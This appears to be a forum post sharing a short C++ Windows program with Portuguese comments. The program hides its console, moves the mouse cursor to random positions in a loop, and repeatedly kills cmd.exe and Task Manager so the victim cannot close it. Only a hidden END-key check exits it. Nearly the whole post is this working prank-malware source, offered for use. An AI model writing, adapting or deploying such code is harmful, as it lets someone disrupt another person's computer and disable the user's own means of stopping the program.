Had this here around. Comments are in portuguese, too lazy to change them. t.t (My language)
Code:
#include <iostream>
#include <windows.h>
#include <time.h>
#include <tlhelp32.h>
#include <string.h>
int searchProcess();
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE); //Esconde consola
int xMax = GetSystemMetrics(SM_CXFULLSCREEN); //Maxima resolução X
int yMax = GetSystemMetrics(SM_CYFULLSCREEN); //Maxima resolução Y
srand(time(NULL)); //Gera uma seed para calculo no random, com as horas
while(!GetAsyncKeyState(VK_END)&1) //caso 'END' seja primido, a aplicação para (segurança)
{
SetCursorPos(rand() % xMax, rand() % yMax); //X e Y geração random dependendo da maxima resolutação
searchProcess(); //Procura por processos para fechar
Sleep(50); //para não criar um spam tao rapido
}
return 0;
}
int searchProcess()
{
HANDLE hpSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); //Vai buscar todos os processos
PROCESSENTRY32 sProcess; //estrutura do processo
sProcess.dwSize = sizeof(sProcess); //tamanho
Process32First(hpSnapShot, &sProcess); //Acede ao primeiro processo
do
{
if(strcmp(sProcess.szExeFile,"cmd.exe") == 0 || strcmp(sProcess.szExeFile,"taskmgr.exe") == 0)
TerminateProcess(OpenProcess(PROCESS_TERMINATE, 0, sProcess.th32ProcessID), 0); //termina o processo se for a consola do windows ou o task manager do windows.
}
while(Process32Next(hpSnapShot, &sProcess) != 0); //proximos processos
return 0;
}

)